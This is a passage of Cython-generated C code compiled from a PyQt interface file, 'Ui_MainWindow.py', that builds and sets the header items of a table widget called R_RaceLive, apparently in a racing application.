PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_v_item); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 731, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":732 * item.setText("Sorting") * self.R_RaceLive.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) * self.R_RaceLive.setHorizontalHeaderItem(1, item) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 732, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 732, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 732, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 732, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":733 * self.R_RaceLive.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) # <<<<<<<<<<<<<< * self.R_RaceLive.setHorizontalHeaderItem(1, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setTextAlignment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_AlignTrailing); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_AlignVCenter); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Or(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 733, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":734 * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) * self.R_RaceLive.setHorizontalHeaderItem(1, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(2, item) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 734, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 734, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_1, __pyx_v_item}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 734, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_1, __pyx_v_item}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 734, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 734, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_1); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_v_item); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 734, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":735 * item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) * self.R_RaceLive.setHorizontalHeaderItem(1, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive.setHorizontalHeaderItem(2, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 735, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 735, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 735, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 735, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":736 * self.R_RaceLive.setHorizontalHeaderItem(1, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(2, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(3, item) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 736, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 736, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_2, __pyx_v_item}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 736, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_2, __pyx_v_item}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 736, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 736, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_2); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_v_item); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 736, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":737 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(2, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive.setHorizontalHeaderItem(3, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 737, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 737, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 737, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 737, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":738 * self.R_RaceLive.setHorizontalHeaderItem(2, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(3, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(4, item) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 738, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 738, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_3, __pyx_v_item}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 738, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_3, __pyx_v_item}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 738, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 738, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_3); __Pyx_GIVEREF(__pyx_int_3); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_3); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_v_item); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 738, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":739 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(3, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive.setHorizontalHeaderItem(4, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 739, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 739, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 739, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 739, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":740 * self.R_RaceLive.setHorizontalHeaderItem(3, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(4, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(5, item) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 740, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 740, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_4, __pyx_v_item}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 740, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_4, __pyx_v_item}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 740, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 740, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_4); __Pyx_GIVEREF(__pyx_int_4); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_4); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_v_item); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 740, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":741 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(4, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive.setHorizontalHeaderItem(5, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 741, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 741, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 741, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 741, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":742 * self.R_RaceLive.setHorizontalHeaderItem(4, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(5, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(6, item) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 742, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 742, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = 